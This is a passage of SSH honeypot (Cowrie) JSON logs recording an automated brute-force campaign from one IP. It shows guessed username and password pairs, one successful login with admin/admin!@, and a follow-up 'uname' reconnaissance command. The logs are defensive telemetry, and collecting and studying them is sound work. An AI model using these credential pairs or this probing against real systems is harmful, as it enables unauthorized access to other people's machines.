nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:26.924018Z","src_ip":"192.109.200.237","session":"b09173750c9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:27.170463Z","src_ip":"192.109.200.237","session":"b09173750c9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:28.263829Z","src_ip":"192.109.200.237","session":"b09173750c9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44074,"dst_ip":"159.203.135.109","dst_port":22,"session":"62c6cf217363","protocol":"ssh","message":"New connection: 192.109.200.237:44074 (159.203.135.109:22) [session: 62c6cf217363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:30.035681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:30.045398Z","src_ip":"192.109.200.237","session":"62c6cf217363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:30.128739Z","src_ip":"192.109.200.237","session":"62c6cf217363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:30.376586Z","src_ip":"192.109.200.237","session":"62c6cf217363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:31.461844Z","src_ip":"192.109.200.237","session":"62c6cf217363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44088,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa6ca17a06f4","protocol":"ssh","message":"New connection: 192.109.200.237:44088 (159.203.135.109:22) [session: fa6ca17a06f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:33.195163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:33.200055Z","src_ip":"192.109.200.237","session":"fa6ca17a06f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:33.281984Z","src_ip":"192.109.200.237","session":"fa6ca17a06f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:33.526361Z","src_ip":"192.109.200.237","session":"fa6ca17a06f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:34.611345Z","src_ip":"192.109.200.237","session":"fa6ca17a06f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44096,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fb11b08bf60","protocol":"ssh","message":"New connection: 192.109.200.237:44096 (159.203.135.109:22) [session: 0fb11b08bf60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:36.326425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:36.334964Z","src_ip":"192.109.200.237","session":"0fb11b08bf60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:36.419904Z","src_ip":"192.109.200.237","session":"0fb11b08bf60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:36.667902Z","src_ip":"192.109.200.237","session":"0fb11b08bf60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:37.753159Z","src_ip":"192.109.200.237","session":"0fb11b08bf60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44102,"dst_ip":"159.203.135.109","dst_port":22,"session":"231a5afd2fac","protocol":"ssh","message":"New connection: 192.109.200.237:44102 (159.203.135.109:22) [session: 231a5afd2fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:39.704281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:39.708684Z","src_ip":"192.109.200.237","session":"231a5afd2fac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:39.791976Z","src_ip":"192.109.200.237","session":"231a5afd2fac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:40.043610Z","src_ip":"192.109.200.237","session":"231a5afd2fac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:40.254417Z","src_ip":"192.109.200.237","session":"231a5afd2fac","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:40.257682Z","src_ip":"192.109.200.237","session":"231a5afd2fac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:40.344377Z","src_ip":"192.109.200.237","session":"231a5afd2fac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:40.349600Z","src_ip":"192.109.200.237","session":"231a5afd2fac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32768,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcc975fc3acd","protocol":"ssh","message":"New connection: 192.109.200.237:32768 (159.203.135.109:22) [session: bcc975fc3acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:42.881070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:42.886213Z","src_ip":"192.109.200.237","session":"bcc975fc3acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:42.969108Z","src_ip":"192.109.200.237","session":"bcc975fc3acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:43.215994Z","src_ip":"192.109.200.237","session":"bcc975fc3acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:44.310222Z","src_ip":"192.109.200.237","session":"bcc975fc3acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.19838762283325,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:45.505288Z","src_ip":"186.195.16.41","session":"18f8f1132c65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32792,"dst_ip":"159.203.135.109","dst_port":22,"session":"83515e2a5596","protocol":"ssh","message":"New connection: 192.109.200.237:32792 (159.203.135.109:22) [session: 83515e2a5596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:46.039107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:46.047622Z","src_ip":"192.109.200.237","session":"83515e2a5596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:46.129992Z","src_ip":"192.109.200.237","session":"83515e2a5596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:46.380499Z","src_ip":"192.109.200.237","session":"83515e2a5596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:47.465604Z","src_ip":"192.109.200.237","session":"83515e2a5596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32812,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c235fe2cb3","protocol":"ssh","message":"New connection: 192.109.200.237:32812 (159.203.135.109:22) [session: c3c235fe2cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:49.252932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:49.257682Z","src_ip":"192.109.200.237","session":"c3c235fe2cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:49.340367Z","src_ip":"192.109.200.237","session":"c3c235fe2cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:49.748755Z","src_ip":"192.109.200.237","session":"c3c235fe2cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:50.834187Z","src_ip":"192.109.200.237","session":"c3c235fe2cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46290,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f7ca53f8668","protocol":"ssh","message":"New connection: 192.109.200.237:46290 (159.203.135.109:22) [session: 7f7ca53f8668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:52.578799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:52.587017Z","src_ip":"192.109.200.237","session":"7f7ca53f8668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"ma